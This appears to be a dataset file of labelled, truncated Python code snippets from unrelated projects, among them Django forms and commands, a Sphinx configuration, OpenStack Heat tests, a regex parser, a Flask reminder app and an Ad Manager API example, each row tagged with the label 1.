",1 "_tokens class Command(BaseCommand): option_list = BaseCommand.option_list + ( make_option( '--days', action='store', dest='days', default=15, help='Number of days ahead of time to update refresh tokens.'), ) def handle(self, *args, **options): try: days = int(options['days']) except ValueError: raise CommandError(""Days must be an integer value."") self.stdout.write(""Updating dwolla tokens..."") self.stdout.flush() count, test_count = dwolla_update_tokens(days) self.stdout.write(""Test tokens updated: {}"".format(count)) self.stdout.write(""Live tokens updated: {}"".format(test_count)) self.stdout.flush() ",1 "file is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys, os # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. sys.path.insert(0, os.path.abspath('..')) sys.path.insert(0, os.path.abspath('../cloudtracker/')) # -- General configuration ----------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ['sphinx.ext.autodoc', 'sphinx.ext.doctest', 'sphinx.ext.pngmath'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'cloudtracker' copyright = u'2011, Jordan Dawe' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = '1.0' # The full version, including alpha/beta/rc tags. release = '1.0' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "" v documentation"". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named ""default.css"" will overwrite the builtin ""default.css"". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, ""Created using Sphinx"" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, ""(C) Copyright ..."" is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. "".xhtml""). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'cloudtrackerdoc' # -- Options for LaTeX output -------------------------------------------------- # The paper size ('letter' or 'a4'). #latex_paper_size = 'letter' # The font size ('10pt', '11pt' or '12pt'). #latex_font_size = '10pt' # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'cloudtracker.tex', u'cloudtracker Documentation', u'Jordan Dawe', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For ""manual"" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Additional stuff for the LaTeX preamble. #latex_preamble = '' # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'cloudtracker', u'cloudtracker Documentation', [u'Jordan Dawe'], 1) ] ",1 "btain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import os import mock import six import yaml from heat.common import config from heat.common import exception from heat.common import template_format from heat.tests.common import HeatTestCase from heat.tests import utils class JsonToYamlTest(HeatTestCase): def setUp(self): super(JsonToYamlTest, self).setUp() self.expected_test_count = 2 self.longMessage = True self.maxDiff = None def test_convert_all_templates(self): path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'templates') template_test_count = 0 for (json_str, yml_str, file_name) in self.convert_all_json_to_yaml(path): self.compare_json_vs_yaml(json_str, yml_str, file_name) template_test_count += 1 if template_test_count >= self.expected_test_count: break self.assertTrue(template_test_count >= self.expected_test_count, 'Expected at least %d templates to be tested, not %d' % (self.expected_test_count, template_test_count)) def compare_json_vs_yaml(self, json_str, yml_str, file_name): yml = template_format.parse(yml_str) self.assertEqual(u'2012-12-12', yml[u'HeatTemplateFormatVersion'], file_name) self.assertFalse(u'AWSTemplateFormatVersion' in yml, file_name) del(yml[u'HeatTemplateFormatVersion']) jsn = template_format.parse(json_str) if u'AWSTemplateFormatVersion' in jsn: del(jsn[u'AWSTemplateFormatVersion']) self.assertEqual(yml, jsn, file_name) def convert_all_json_to_yaml(self, dirpath): for path in os.listdir(dirpath): if not path.endswith('.template') and not path.endswith('.json'): continue f = open(os.path.join(dirpath, path), 'r') json_str = f.read() yml_str = template_format.convert_json_to_yaml(json_str) yield (json_str, yml_str, f.name) class YamlMinimalTest(HeatTestCase): def _parse_template(self, tmpl_str, msg_str): parse_ex = self.assertRaises(ValueError, template_format.parse, tmpl_str) self.assertIn(msg_str, six.text_type(parse_ex)) def test_long_yaml(self): template = {'HeatTemplateFormatVersion': '2012-12-12'} config.cfg.CONF.set_override('max_template_size', 1024) template['Resources'] = ['a'] * (config.cfg.CONF.max_template_size / 3) limit = config.cfg.CONF.max_template_size long_yaml = yaml.safe_dump(template) self.assertTrue(len(long_yaml) > limit) ex = self.assertRaises(exception.RequestLimitExceeded, template_format.parse, long_yaml) msg = ('Request limit exceeded: Template exceeds maximum allowed size ' '(1024 bytes)') self.assertEqual(msg, six.text_type(ex)) def test_parse_no_version_format(self): yaml = '' self._parse_template(yaml, 'Template format version not found') yaml2 = '''Parameters: {} Mappings: {} Resources: {} Outputs: {} ''' self._parse_template(yaml2, 'Template format version not found') def test_parse_string_template(self): tmpl_str = 'just string' msg = 'The template is not a JSON object or YAML mapping.' self._parse_template(tmpl_str, msg) def test_parse_invalid_yaml_and_json_template(self): tmpl_str = '{test' msg = 'line 1, column 1' self._parse_template(tmpl_str, msg) def test_parse_json_document(self): tmpl_str = '[""foo"" , ""bar""]' msg = 'The template is not a JSON object or YAML mapping.' self._parse_template(tmpl_str, msg) def test_parse_empty_json_template(self): tmpl_str = '{}' msg = 'Template format version not found' self._parse_template(tmpl_str, msg) def test_parse_yaml_template(self): tmpl_str = 'heat_template_version: 2013-05-23' expected = {'heat_template_version': '2013-05-23'} self.assertEqual(expected, template_format.parse(tmpl_str)) class YamlParseExceptions(HeatTestCase): scenarios = [ ('scanner', dict(raised_exception=yaml.scanner.ScannerError())), ('parser', dict(raised_exception=yaml.parser.ParserError())), ('reader', dict(raised_exception=yaml.reader.ReaderError('', '', '', '', ''))), ] def test_parse_to_value_exception(self): text = 'not important' with mock.patch.object(yaml, 'load') as yaml_loader: yaml_loader.side_effect = self.raised_exception self.assertRaises(ValueError, template_format.parse, text) class JsonYamlResolvedCompareTest(HeatTestCase): def setUp(self): super(JsonYamlResolvedCompareTest, self).setUp() self.longMessage = True self.maxDiff = None def load_template(self, file_name): filepath = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'templates', file_name) f = open(filepath) t = template_format.parse(f.read()) f.close() return t def compare_stacks(self, json_file, yaml_file, parameters): t1 = self.load_template(json_file) t2 = self.load_template(yaml_file) del(t1[u'AWSTemplateFormatVersion']) t1[u'HeatTemplateFormatVersion'] = t2[u'HeatTemplateFormatVersion'] stack1 = utils.parse_stack(t1, parameters) stack2 = utils.parse_stack(t2, parameters) # compare resources separately so that resolved static data # is compared t1nr = dict(stack1.t.t) del(t1nr['Resources']) t2nr = dict(stack2.t.t) del(t2nr['Resources']) self.assertEqual(t1nr, t2nr) self.assertEqual(set(stack1.keys()), set(stack2.keys())) for key in stack1: self.assertEqual(stack1[key].t, stack2[key].t) def test_neutron_resolved(self): self.compare_stacks('Neutron.template', 'Neutron.yaml', {}) def test_wordpress_resolved(self): self.compare_stacks('WordPress_Single_Instance.template', 'WordPress_Single_Instance.yaml', {'KeyName': 'test'}) ",1 "with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from solum import objects from solum.objects import extension as abstract_extension from solum.objects import operation as abstract_operation from solum.objects import plan as abstract_plan from solum.objects import sensor as abstract_sensor from solum.objects import service as abstract_srvc from solum.objects.sqlalchemy import extension from solum.objects.sqlalchemy import operation from solum.objects.sqlalchemy import plan from solum.objects.sqlalchemy import sensor from solum.objects.sqlalchemy import service def load(): """"""Activate the sqlalchemy backend."""""" objects.registry.add(abstract_plan.Plan, plan.Plan) objects.registry.add(abstract_plan.PlanList, plan.PlanList) objects.registry.add(abstract_srvc.Service, service.Service) objects.registry.add(abstract_srvc.ServiceList, service.ServiceList) objects.registry.add(abstract_operation.Operation, operation.Operation) objects.registry.add(abstract_operation.OperationList, operation.OperationList) objects.registry.add(abstract_sensor.Sensor, sensor.Sensor) objects.registry.add(abstract_sensor.SensorList, sensor.SensorList) objects.registry.add(abstract_extension.Extension, extension.Extension) objects.registry.add(abstract_extension.ExtensionList, extension.ExtensionList) ",1 "nge_chars = ('d', 'D', 'w', 'W', 's', 'S') special_chars = ('^', '$', '[', ']', '(', ')', '{', '}', '\\', '.', '*', '?', '+', '|', '.') restrict_special_chars = ('\\', '[', ']') posix_classes = (""alnum"", ""alpha"", ""blank"", ""cntrl"", ""digit"", ""graph"", ""lower"", ""print"", ""punct"", ""space"", ""upper"", ""xdigit"", ""d"", ""w"", ""s"") min_len_posix_class = 1 #------------------------------------- # Group class WrappedGroup: def __init__(self): self.group = ast.Group() self.is_alt = False def add(self, other): if self.is_alt: last_alt = self.alt.parts[-1] + (other,) self.alt.parts = self.alt.parts[:-1] + (last_alt,) else: self.group.seq = self.group.seq + (other,) @property def alt(self) -> ast.Alternative: assert self.is_alt return self.group.seq[0] def collapse_alt(self): if self.is_alt: self.alt.parts = self.alt.parts + ((),) else: self.is_alt = True first_alt_elems = self.group.seq self.group.seq = (ast.Alternative(),) self.alt.parts = (first_alt_elems,()) class OpeningOfGroup: def __init__(self, parent: None, initial: bool=False): self.is_initial = initial self.parent = parent # OpeningOfGroup or ContentOfGroup self.g = WrappedGroup() self.content_of_initial = None # forward of function self.add = self.g.add # if this group is the initial, their is no parent but we must refer # to itself as the returning state # but if it is a nested group, it must be added into its global group if self.is_initial: self.content_of_initial = ContentOfGroup(self, initial) else: self.parent.add(self.g.group) def next(self, psm: PSM): if not self.is_initial and psm.char == ""?"": return FirstOptionOfGroup(self) elif psm.char == "")"": if self.is_initial: psm.error = 'unexpected "")""' else: return self.parent elif psm.char == ""("": return OpeningOfGroup(self) elif self.is_initial: return self.content_of_initial.next(psm) else: t = ContentOfGroup(self) return t.next(psm) class FirstOptionOfGroup: def __init__(self, parent: OpeningOfGroup): self.parent = parent def next(self, psm: PSM): if psm.char == "":"": self.parent.g.group.ignored = True return ContentOfGroup(self.parent) elif psm.char == ""!"": self.parent.g.group.lookhead = ast.Group.NegativeLookhead return ContentOfGroup(self.parent) elif psm.char == ""="": self.parent.g.group.lookhead = ast.Group.PositiveLookhead return ContentOfGroup(self.parent) elif psm.char == ""<"": self.parent.g.group.name = """" return NameOfGroup(self.parent) else: psm.error = 'expected "":"", ""!"", ""<"" or ""=""' class NameOfGroup: def __init__(self, parent: OpeningOfGroup): self.parent = parent def next(self, psm: PSM): if psm.char.isalpha() or psm.char == ""_"": self.parent.g.group.name += psm.char return self elif psm.char == "">"": return self.parent else: psm.error = 'expected a letter, ""_"" or "">""' class ContentOfGroup: NotQuantified = 0 Quantified = 1 UngreedyQuantified = 2 def __init__(self, parent: OpeningOfGroup, initial: bool=False): self.parent = parent self.is_initial = initial self.limited_prev = parent if initial else self self.quantified = ContentOfGroup.NotQuantified # forward of function self.add = self.parent.add def next(self, psm: PSM): quantified = self.quantified self.quantified = ContentOfGroup.NotQuantified if psm.char == "")"": if self.is_initial: psm.error = ""unbalanced parenthesis"" else: return self.parent.parent elif psm.char == ""("": return OpeningOfGroup(self.limited_prev) elif psm.char == ""^"": self.add(ast.MatchBegin()) return self.limited_prev elif psm.char == ""$"": self.add(ast.MatchEnd()) return self.limited_prev elif psm.char == ""."": t = ast.PatternChar() t.pattern = psm.char self.add(t) return self.limited_prev elif psm.char == ""\\"": return EscapedChar(self.limited_prev, as_single_chars=SpecialPattern.special_chars) elif psm.char == ""["": return CharClass(self.limited_prev) elif psm.char == ""|"": self.parent.g.collapse_alt() return self.limited_prev # >>> Quantifiers elif psm.char == ""?"" and quantified == ContentOfGroup.NotQuantified: self.quantified = ContentOfGroup.Quantified last = self._last_or_fail(psm) if last: last.quantifier = ast.NoneOrOnce() return self.limited_prev elif psm.char == ""*"" and quantified == ContentOfGroup.NotQuantified: self.quantified = ContentOfGroup.Quantified last = self._last_or_fail(psm) if last: last.quantifier = ast.NoneOrMore() return self.limited_prev elif psm.char == ""+"" and quantified == ContentOfGroup.NotQuantified: self.quantified = ContentOfGroup.Quantified last = self._last_or_fail(psm) if last: last.quantifier = ast.OneOrMore() return self.limited_prev elif psm.char == ""{"" and quantified == ContentOfGroup.NotQuantified: self.quantified = ContentOfGroup.Quantified t = MinimumOfRepetition(self.limited_prev) last = self._last_or_fail(psm) if last: last.quantifier = t.between return t elif psm.char == ""?"" and quantified == ContentOfGroup.Quantified: self.quantified = ContentOfGroup.UngreedyQuantified last = self._last_or_fail(psm) if last: last.quantifier.greedy = False return self.limited_prev elif quantified == ContentOfGroup.Quantified: psm.error = ""unexpected quantifier"" elif quantified == ContentOfGroup.UngreedyQuantified: psm.error = ""quantifier repeated"" # <<< Quantifier else: t = ast.SingleChar() t.char = psm.char self.add(t) return self.limited_prev def _last_or_fail(self, psm: PSM): if self.parent.g.group.seq: return self.parent.g.group.seq[-1] else: psm.error = ""nothing to repeat"" class MinimumOfRepetition: def __init__(self, parent: ContentOfGroup): self.parent = parent self.between = ast.Between() self.min = [] def next(self, psm: PSM): if psm.char.isdigit(): self.min.append(psm.char) return self elif psm.char == "","": self._interpret() return MaximumOfRepetition(self) elif psm.char == ""}"": self._interpret() return self.parent else: psm.error = 'expected digit, "","" or ""}""' def _interpret(self): if not self.min: return try: count = int("""".join(self.min)) except ValueError: assert False, ""internal error: cannot convert to number minimum of repetition"" self.between.min = count class MaximumOfRepetition: def __init__(self, repeat: MinimumOfRepetition): self.repeat = repeat self.max = [] def next(self, psm: PSM): if psm.char.isdigit(): self.max.append(psm.char) return self elif psm.char == ""}"": self._interpret() return self.repeat.parent else: psm.error = 'expected digit, "","" or ""}""' def _interpret(self): if not self.max: return try: count = int("""".join(self.max)) except ValueError: assert False, ""internal error: cannot convert to number maximum of repetition"" self.repeat.between.max = count #-------------------------------------- # Escaping class EscapedChar: def __init__(self, prev, as_single_chars=(), as_pattern_chars=()): self.prev = prev # ContentOfGroup or CharClass self.single_chars = as_single_chars self.pattern_chars = as_pattern_chars def next(self, psm: PSM): if psm.char in SpecialPattern.individual_chars \ or psm.char in SpecialPattern.range_chars \ or psm.char in self.pattern_chars: t = ast.PatternChar() t.pattern = psm.char self.prev.add(t) return self.prev elif psm.char in self.single_chars: t = ast.SingleChar() t.char = psm.char self.prev.add(t) return self.prev elif psm.char == ""x"": return AsciiChar(self.prev) elif psm.char == ""u"": return UnicodeChar(self.prev) else: psm.error = ""unauthorized escape of {}"".format(psm.char) class AsciiChar: def __init__(self, prev): self.prev = prev # ContentOfGroup or CharClass self.pattern = ast.PatternChar() self.pattern.type = ast.PatternChar.Ascii self.prev.add(self.pattern) def next(self, psm: PSM): if psm.char in string.hexdigits: self.pattern.pattern += psm.char count = len(self.pattern.pattern) return self.prev if count >= 2 else self else: psm.error = ""expected ASCII hexadecimal character"" class UnicodeChar: def __init__(self, prev): self.prev = prev # ContentOfGroup or CharClass self.pattern = ast.PatternChar() self.pattern.type = ast.PatternChar.Unicode self.prev.add(self.pattern) def next(self, psm: PSM): if psm.char in string.hexdigits: self.pattern.pattern += psm.char count = len(self.pattern.pattern) return self.prev if count >= 4 else self else: psm.error = ""expected ASCII hexadecimal character"" #------------------------------------- # Character class class WrappedCharClass: def __init__(self): # ast is CharClass or may be changed to PatternClass in one case self.ast = ast.CharClass() def add(self, other): assert isinstance(self.ast, ast.CharClass) self.ast.elems = self.ast.elems + (other,) def pop(self): assert isinstance(self.ast, ast.CharClass) last = self.ast.elems[-1] self.ast.elems = self.ast.elems[:-1] return last class CharClass: def __init__(self, prev): self.prev = prev # ContentOfGroup or CharClass self.q = WrappedCharClass() # forward function self.add = self.q.add self.next_is_range = False self.empty = True self.can_mutate = True def next(self, psm: PSM): this_should_be_range = self.next_is_range self.next_is_range = False this_is_empty = self.empty self.empty = False if psm.char == ""\\"": self.can_mutate = False self.next_is_range = this_should_be_range return EscapedChar(self, as_single_chars=SpecialPattern.restrict_special_chars) elif this_should_be_range and psm.char != ""]"": assert isinstance(self.q.ast, ast.CharClass) assert len(self.q.ast.elems) >= 1 self.next_is_range = False t = ast.Range() t.begin = self.q.pop() t.end = ast.SingleChar() t.end.char = psm.char self.q.add(t) return self elif psm.char == ""^"": # if at the begining, it has a special meaning if this_is_empty: self.can_mutate = False self.q.ast.negate = True else: t = ast.SingleChar() t.char = psm.char self.q.add(t) return self elif psm.char == ""]"": if this_should_be_range: t = ast.SingleChar() t.char = ""-"" self.q.add(t) else: self.mutate_if_posix_like() self.prev.add(self.q.ast) return self.prev elif psm.char == ""["": return CharClass(self) elif psm.char == ""-"" and len(self.q.ast.elems) >= 1: self.next_is_range = True return self else: t = ast.SingleChar() t.char = psm.char self.q.add(t) return self def mutate_if_posix_like(self): """""" Change from character class to pattern char if the content is matching POSIX-like classe. """""" assert isinstance(self.q.ast, ast.CharClass) # put in this variable everything that had happen but not saved into # the single char object # because mutation is only possible if the exact string of the content # match a pre-definied list, so if an unlogged char is consumed, it # must prevent mutation if not self.can_mutate: return if len(self.q.ast.elems) < SpecialPattern.min_len_posix_class + 2: return opening = self.q.ast.elems[0] if not isinstance(opening, ast.SingleChar) or opening.char != "":"": return closing = self.q.ast.elems[-1] if not isinstance(closing, ast.SingleChar) or closing.char != "":"": return is_only_ascii = lambda x: (isinstance(x, ast.SingleChar) and len(x.char) == 1 and x.char.isalpha()) class_may_be_a_word = not any( not is_only_ascii(x) for x in self.q.ast.elems[1:-1]) if not class_may_be_a_word: return word = """".join(s.char for s in self.q.ast.elems[1:-1]) if word not in SpecialPattern.posix_classes: return t = ast.PatternChar() t.pattern = word t.type = ast.PatternChar.Posix self.q.ast = t #------------------------------------- def parse(expr, **kw): sm = PSM() sm.source = Source(expr) sm.starts_with(OpeningOfGroup(parent=None, initial=True)) sm.pre_action = kw.get(""pre_action"", None) sm.post_action = kw.get(""post_action"", None) sm.parse() return sm.state.g.group ",1 "y not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """"""This code example creates new proposals. To determine which proposals exist, run get_all_proposals.py. """""" import uuid # Import appropriate modules from the client library. from googleads import ad_manager ADVERTISER_ID = 'INSERT_ADVERTISER_ID_HERE' PRIMARY_SALESPERSON_ID = 'INSERT_PRIMARY_SALESPERSON_ID_HERE' SECONDARY_SALESPERSON_ID = 'INSERT_SECONDARY_SALESPERSON_ID_HERE' PRIMARY_TRAFFICKER_ID = 'INSERT_PRIMARY_TRAFFICKER_ID_HERE' def main(client, advertiser_id, primary_salesperson_id, secondary_salesperson_id, primary_trafficker_id): # Initialize appropriate services. proposal_service = client.GetService('ProposalService', version='v201811') network_service = client.GetService('NetworkService', version='v201811') # Create proposal objects. proposal = { 'name': 'Proposal #%s' % uuid.uuid4(), 'advertiser': { 'companyId': advertiser_id, 'type': 'ADVERTISER' }, 'primarySalesperson': { 'userId': primary_salesperson_id, 'split': '75000' }, 'secondarySalespeople': [{ 'userId': secondary_salesperson_id, 'split': '25000' }], 'primaryTraffickerId': primary_trafficker_id, 'probabilityOfClose': '100000', 'budget': { 'microAmount': '100000000', 'currencyCode': network_service.getCurrentNetwork()['currencyCode'] }, 'billingCap': 'CAPPED_CUMULATIVE', 'billingSource': 'DFP_VOLUME' } # Add proposals. proposals = proposal_service.createProposals([proposal]) # Display results. for proposal in proposals: print ('Proposal with id ""%s"" and name ""%s"" was created.' % (proposal['id'], proposal['name'])) if __name__ == '__main__': # Initialize client object. ad_manager_client = ad_manager.AdManagerClient.LoadFromStorage() main(ad_manager_client, ADVERTISER_ID, PRIMARY_SALESPERSON_ID, SECONDARY_SALESPERSON_ID, PRIMARY_TRAFFICKER_ID) ",1 "mport db from utils import get_remote_addr, get_location_data app = Flask(__name__) @app.route('/yo-water/', methods=['POST', 'GET']) def yowater(): payload = request.args if request.args else request.get_json(force=True) username = payload.get('username') reminder = db.reminders.find_one({'username': username}) reply_object = payload.get('reply') if reply_object is None: if db.reminders.find_one({'username': username}) is None: address = get_remote_addr(request) data = get_location_data(address) if not data: return 'Timezone needed' user_data = {'created': datetime.now(pytz.utc), 'username': username} if data.get('time_zone'): user_data.update({'timezone': data.get('time_zone')}) db.reminders.insert(user_data) return 'OK' else: reply_text = reply_object.get('text') if reply_text == u'Can\'t right now 😖': reminder['trigger_date'] = datetime.now(pytz.utc) + timedelta(minutes=15) else: reminder['step'] += 1 reminder['trigger_date'] = datetime.now(pytz.utc) + timedelta(minutes=60) reminder['last_reply_date'] = datetime.now(pytz.utc) db.reminders.update({'username': username}, reminder) db.replies.insert({'username': username, 'created': datetime.now(pytz.utc), 'reply': reply_text}) return 'OK' if __name__ == ""__main__"": app.debug = True app.run(host=""0.0.0.0"", port=int(os.environ.get(""PORT"", ""5000""))) ",1 " self.store = store def parse_record(self, metadata, line): factors = line.split('|') if len(factors) < 7: return registry, cc, type_, start, value, dete, status = factors[:7] if type_ not in ('ipv4', 'ipv6'): return return Record(metadata, start, type_, value, cc) def do(self, fp): metadata = None for line in fp: line = line[:-1] if line.startswith('#') or line.endswith('summary'): continue if metadata is None: version, registry, serial, records,\ startdate, enddate, utcoffset = line.split('|')[:7] metadata = Metadata(registry, version, serial) continue record = self.parse_record(metadata, line) if record is None: continue self.store.persist(record) ",1 "xt import CountVectorizer VECTORIZER = CountVectorizer(min_df=1) # 以下代码设置了特征提取方法的参数(以1-2个单词作为滑动窗口大小,以空格作为单词的分割点,最小词频为1) # 详细参考API介绍: # http://scikit-learn.org/stable/modules/feature_extraction.html#text-feature-extraction # VECTORIZER = CountVectorizer(ngram_range=(1,2), token_pattern=r'\b\w+\b', min_df=1) CORPUS = [ 'This is the first document.', 'This is the second second document.', 'And the third one.', 'Is this the first document?' ] X = VECTORIZER.fit_transform(CORPUS) FEATURE_NAMES = VECTORIZER.get_feature_names() print(FEATURE_NAMES) ",1 "(title_number): return SELECTED_FULL_RESULTS.get(title_number) def _get_titles(page_number): nof_results = len(ALL_TITLES) number_pages = math.ceil(nof_results / SEARCH_RESULTS_PER_PAGE) start_index = page_number * SEARCH_RESULTS_PER_PAGE end_index = start_index + SEARCH_RESULTS_PER_PAGE return { 'number_pages': number_pages, 'number_results': nof_results, 'page_number': page_number, 'titles': ALL_TITLES[start_index:end_index], } def get_titles_by_postcode(postcode, page_number): return _get_titles(page_number) def get_titles_by_address(address, page_number): return _get_titles(page_number) def get_official_copy_data(title_number): return OFFICIAL_COPY_RESULT ",1 "ttext as _ from arrow import Arrow from datebook.models import DayEntry from datebook.forms import CrispyFormMixin from datebook.utils.imports import safe_import_module DATETIME_FORMATS = { 'input_date_formats': ['%d/%m/%Y'], 'input_time_formats': ['%H:%M'], 'widget': forms.SplitDateTimeWidget(date_format='%d/%m/%Y', time_format='%H:%M'), } class DayBaseFormMixin(object): """""" DayBase form mixin """""" crispy_form_helper_path = 'datebook.forms.crispies.day_helper' crispy_form_helper_kwargs = {} def fill_initial_data(self, *args, **kwargs): # Pass initial data for start and stop to their SplitDateTimeField clones if 'start' in kwargs['initial']: kwargs['initial']['start_datetime'] = kwargs['initial']['start'] if 'stop' in kwargs['initial']: kwargs['initial']['stop_datetime'] = kwargs['initial']['stop'] # For existing instance (in edit mode) pass the start and stop values to their # clone with SplitDateTimeField via initial datas if kwargs.get('instance'): kwargs['initial']['start_datetime'] = kwargs['instance'].start kwargs['initial']['stop_datetime'] = kwargs['instance'].stop return kwargs def init_fields(self, *args, **kwargs): self.fields['start_datetime'] = forms.SplitDateTimeField(label=_('start'), **DATETIME_FORMATS) self.fields['stop_datetime'] = forms.SplitDateTimeField(label=_('stop'), **DATETIME_FORMATS) # Set the form field for DayEntry.content field_helper = safe_import_module(settings.DATEBOOK_TEXT_FIELD_HELPER_PATH) if field_helper is not None: self.fields['content'] = field_helper(self, **{'label':_('content'), 'required': False}) def clean_content(self): """""" Text content validation """""" content = self.cleaned_data.get(""content"") validation_helper = safe_import_module(settings.DATEBOOK_TEXT_VALIDATOR_HELPER_PATH) if validation_helper is not None: return validation_helper(self, content) else: return content def clean_start_datetime(self): start = self.cleaned_data['start_datetime'] # Day entry can't start before the targeted day date if start and start.date() < self.daydate: raise forms.ValidationError(_(""You can't start a day before itself"")) # Day entry can't start after the targeted day date if start and start.date() > self.daydate: raise forms.ValidationError(_(""You can't start a day after itself"")) return start def clean_stop_datetime(self): start = self.cleaned_data.get('start_datetime') stop = self.cleaned_data['stop_datetime'] # Day entry can't stop before the start if start and stop and stop <= start: raise forms.ValidationError(_(""Stop time can't be less or equal to start time"")) # Day entry can't stop in more than one futur day from the targeted day date if stop and stop.date() > Arrow.fromdate(self.daydate).replace(days=1).date(): raise forms.ValidationError(_(""Stop time can't be more than the next day"")) return stop # TODO: overtime must not be more than effective worked time #def clean_overtime(self): #overtime = self.cleaned_data.get('overtime') #return overtime # TODO #def clean_pause(self): #start = self.cleaned_data.get('start_datetime') #stop = self.cleaned_data.get('stop_datetime') #pause = self.cleaned_data['pause'] ## Pause time can't be more than elapsed time between start and stop #if start and stop and pause and False: #raise forms.ValidationError(""Pause time is more than the elapsed time"") #return pause class DayEntryForm(DayBaseFormMixin, CrispyFormMixin, forms.ModelForm): """""" DayEntry form """""" def __init__(self, datebook, day, *args, **kwargs): self.datebook = datebook self.daydate = datebook.period.replace(day=day) # Args to give to the form layout method self.crispy_form_helper_kwargs.update({ 'next_day': kwargs.pop('next_day', None), 'day_to_model_url': kwargs.pop('day_to_model_url', None), 'form_action': kwargs.pop('form_action'), 'remove_url': kwargs.pop('remove_url', None), }) # Fill initial datas kwargs = self.fill_initial_data(*args, **kwargs) super(DayEntryForm, self).__init__(*args, **kwargs) super(forms.ModelForm, self).__init__(*args, **kwargs) # Init some special fields kwargs = self.init_fields(*args, **kwargs) def clean(self): cleaned_data = super(DayBaseFormMixin, self).clean() content = cleaned_data.get(""content"") vacation = cleaned_data.get(""vacation"") # Content text is only required when vacation is not checked if not vacation and not content: raise forms.ValidationError(_(""Worked days require a content text"")) return cleaned_data def save(self, *args, **kwargs): instance = super(DayEntryForm, self).save(commit=False, *args, **kwargs) instance.start = self.cleaned_data['start_datetime'] instance.stop = self.cleaned_data['stop_datetime'] instance.datebook = self.datebook instance.activity_date = self.daydate instance.save() return instance class Meta: model = DayEntry exclude = ('datebook', 'activity_date', 'start', 'stop') widgets = { 'pause': forms.TimeInput(format=DATETIME_FORMATS['input_time_formats'][0]), 'overtime': forms.TimeInput(format=DATETIME_FORMATS['input_time_formats'][0]), } class DayEntryCreateForm(DayEntryForm): def clean(self): cleaned_data = super(DayEntryCreateForm, self).clean() # Validate that there is not allready a day entry for the same day try: obj = 